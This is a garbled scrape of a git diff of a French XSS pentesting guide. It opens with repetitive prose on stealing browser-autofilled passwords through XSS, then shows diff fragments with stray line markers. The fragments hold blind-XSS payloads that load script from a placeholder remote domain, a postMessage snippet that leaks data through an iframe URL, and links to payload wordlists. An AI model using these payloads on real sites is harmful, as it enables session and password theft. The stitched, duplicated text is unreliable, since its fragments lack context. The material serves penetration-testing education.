Lors de tests d'intrusion sur des applications web, il est courant de rechercher des vulnérabilités de type Cross-Site Scripting (XSS). L'une des variantes les plus intéressantes de cette vulnérabilité est l'exploitation des mots de passe auto-remplis.
|
||||
|
||||
Les navigateurs modernes offrent souvent la fonctionnalité de remplissage automatique des formulaires, y compris les champs de mot de passe. Cette fonctionnalité est pratique pour les utilisateurs, mais elle peut également être exploitée par des attaquants.
|
||||
Lorsque les utilisateurs enregistrent leurs informations de connexion sur un site web, leur navigateur propose souvent de les sauvegarder pour un remplissage automatique ultérieur. Cela peut être pratique pour les utilisateurs, mais cela peut également représenter une faille de sécurité si le site web est vulnérable à une attaque XSS.
|
||||
|
||||
L'attaque consiste à injecter un code JavaScript malveillant dans un champ de saisie de texte, tel qu'un champ de recherche ou un champ de commentaire. Lorsque le navigateur auto-remplit le champ de mot de passe, le code JavaScript est exécuté, permettant à l'attaquant de capturer le mot de passe.
|
||||
L'attaque consiste à injecter un script malveillant dans un champ de saisie du site web, qui sera ensuite exécuté lorsque le navigateur remplira automatiquement les informations de connexion. Le script peut être utilisé pour capturer les mots de passe et les envoyer à un attaquant.
|
||||
|
||||
Pour exploiter cette vulnérabilité, l'attaquant doit identifier les champs de saisie de texte vulnérables et injecter le code JavaScript approprié. Une fois que le mot de passe est capturé, il peut être utilisé pour accéder au compte de l'utilisateur ou pour mener d'autres attaques.
|
||||
Pour exploiter cette vulnérabilité, il est important de comprendre comment les navigateurs gèrent le remplissage automatique des mots de passe. Chaque navigateur a sa propre méthode de stockage des mots de passe, mais la plupart utilisent des mécanismes tels que le remplissage automatique basé sur le nom d'utilisateur ou l'URL du site web.
|
||||
|
||||
Il est important de noter que cette attaque ne fonctionne que si le navigateur de la victime a activé la fonctionnalité de remplissage automatique des mots de passe. Cependant, étant donné que de nombreux utilisateurs utilisent cette fonctionnalité, il est essentiel de prendre des mesures pour se protéger contre cette vulnérabilité.
|
||||
Lors de tests d'intrusion, il est recommandé de vérifier si le site web est vulnérable à cette attaque en injectant du code malveillant dans les champs de saisie et en vérifiant si les mots de passe sont capturés. Si c'est le cas, il est important de signaler cette vulnérabilité au propriétaire du site web afin qu'il puisse prendre les mesures nécessaires pour la corriger.
|
||||
|
||||
Pour se protéger contre cette attaque, les développeurs doivent mettre en œuvre des mesures de sécurité appropriées, telles que la validation et l'échappement des entrées utilisateur, ainsi que la désactivation de la fonctionnalité de remplissage automatique des mots de passe. Les utilisateurs doivent également être conscients des risques associés à l'utilisation de cette fonctionnalité et prendre des mesures pour protéger leurs mots de passe, comme l'utilisation de gestionnaires de mots de passe sécurisés.
|
||||
|
||||
En tant que testeurs d'intrusion, il est important de comprendre cette vulnérabilité et de l'inclure dans nos tests afin d'aider les développeurs à identifier et à corriger les failles de sécurité potentielles.
|
||||
Il convient de noter que cette attaque ne fonctionne que si le site web est vulnérable à une attaque XSS. Par conséquent, il est essentiel de rechercher d'autres vulnérabilités XSS potentielles avant de tenter cette attaque spécifique.
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
|
@ -1603,7 +1573,7 @@ window.onmessage = function(e){
|
|||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### Abus des Service Workers
|
||||
### Abus des Workers de Service
|
||||
|
||||
{% content-ref url="abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](abusing-service-workers.md)
|
||||
|
|
@ -1619,9 +1589,9 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Charges utiles Blind XSS
|
||||
### Charges utiles XSS aveugles
|
||||
|
||||
Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com)
|
||||
Vous pouvez également utiliser: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
"><img src='//domain/xss'>
|
||||
"><script src="//domain/xss.js"></script>
|
||||
|
|
@ -1663,7 +1633,7 @@ Vous pouvez également utiliser : [https://xsshunter.com/](https://xsshunter.com
|
|||
```
|
||||
### Regex - Accéder au contenu caché
|
||||
|
||||
À partir de [**cette explication**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée d'une REGEX même après que la valeur de l'entrée de la REGEX ait été supprimée :
|
||||
À partir de [**cette explication**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible de constater que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS de différents objets. Par exemple, il est toujours possible de trouver une entrée REGEX même après que la valeur de l'entrée de la REGEX ait été supprimée :
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
|
@ -1718,7 +1688,7 @@ Si vous ne pouvez pas injecter de balises HTML, il peut être intéressant d'ess
|
|||
|
||||
### XSS dans Amp4Email
|
||||
|
||||
AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement des fonctionnalités avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants.
|
||||
AMP est une technologie connue pour développer des pages web ultra-rapides sur les clients mobiles. **AMP est un ensemble de balises HTML soutenues par JavaScript** qui permettent facilement une fonctionnalité avec une attention particulière sur les performances et la sécurité. Il existe des [composants AMP](https://amp.dev/documentation/components/?format=websites) pour tout, des carrousels aux éléments de formulaire réactifs, en passant par la récupération de contenu frais à partir de points d'extrémité distants.
|
||||
|
||||
Le format [**AMP pour les e-mails**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) fournit [un sous-ensemble de composants AMP](https://github.com/ampproject/amphtml/blob/master/docs/spec/email/amp-email-components.md) que vous pouvez utiliser dans les messages électroniques. Les destinataires des e-mails AMP peuvent voir et interagir avec les composants AMP directement dans l'e-mail.
|
||||
|
||||
|
|
|
|||
Loading…
Reference in a new issue